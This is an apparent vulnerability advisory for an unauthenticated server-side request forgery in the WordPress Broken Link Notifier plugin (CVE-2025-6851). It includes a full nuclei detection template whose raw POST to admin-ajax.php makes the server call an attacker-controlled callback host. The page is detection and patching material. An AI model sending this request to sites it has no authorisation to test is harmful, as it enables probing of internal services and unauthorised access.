WordPress Broken Link Notifier < 1.3.1 - Unauthenticated SSRF

highseverity

7.5CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Impact

An attacker can exploit this vulnerability to perform server-side request forgery attacks, potentially accessing internal services, reading local files, or conducting port scanning from the server's perspective.

Fix

Update the Broken Link Notifier plugin to version 1.3.1 or later which fixes this vulnerability. If immediate update is not possible, consider temporarily disabling the plugin until the fix can be applied.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: contains(body, 'blnotifier_front_end')
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(interactsh_protocol, 'dns') and contains_all(body, 'notify', 'timing', 'Results were generated in') and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-6851 -u <target>

The full check

id: CVE-2025-6851

info:
  name: WordPress Broken Link Notifier < 1.3.1 - Unauthenticated SSRF
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
  impact: |
    An attacker can exploit this vulnerability to perform server-side request forgery attacks, potentially accessing internal services, reading local files, or conducting port scanning from the server's perspective.
  remediation: |
    Update the Broken Link Notifier plugin to version 1.3.1 or later which fixes this vulnerability. If immediate update is not possible, consider temporarily disabling the plugin until the fix can be applied.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6851
    - https://wpscan.com/vulnerability/CVE-2025-6851
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/broken-link-notifier/broken-link-notifier-130-unauthenticated-server-side-request-forgery
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-6851
    cwe-id: CWE-918
    epss-score: 0.00718
    epss-percentile: 0.54183
    cpe: cpe:2.3:a:broken_link_notifier_project:broken_link_notifier:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: broken_link_notifier_project
    product: broken_link_notifier
    publicwww-query: "/wp-content/plugins/broken-link-notifier/"
    fofa-query: body="blnotifier_front_end"
  tags: cve,cve2025,wp-plugin,wordpress,ssrf,oast,unauth,wpscan,broken-link-notifier,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    redirects: true

    matchers:
      - type: dsl
        dsl:
          - contains(body, 'blnotifier_front_end')
        internal: true

    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - 'blnotifier_front_end.*"nonce":"(.*?)"'

  - raw:
      - |-
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: xmlhttprequest
        Content-Type: application/x-www-form-urlencoded

        action=blnotifier_blinks&nonce={{nonce}}&source_url=http://test&header_links[]=http://{{interactsh-url}}&

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(body, 'notify', 'timing', 'Results were generated in')
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from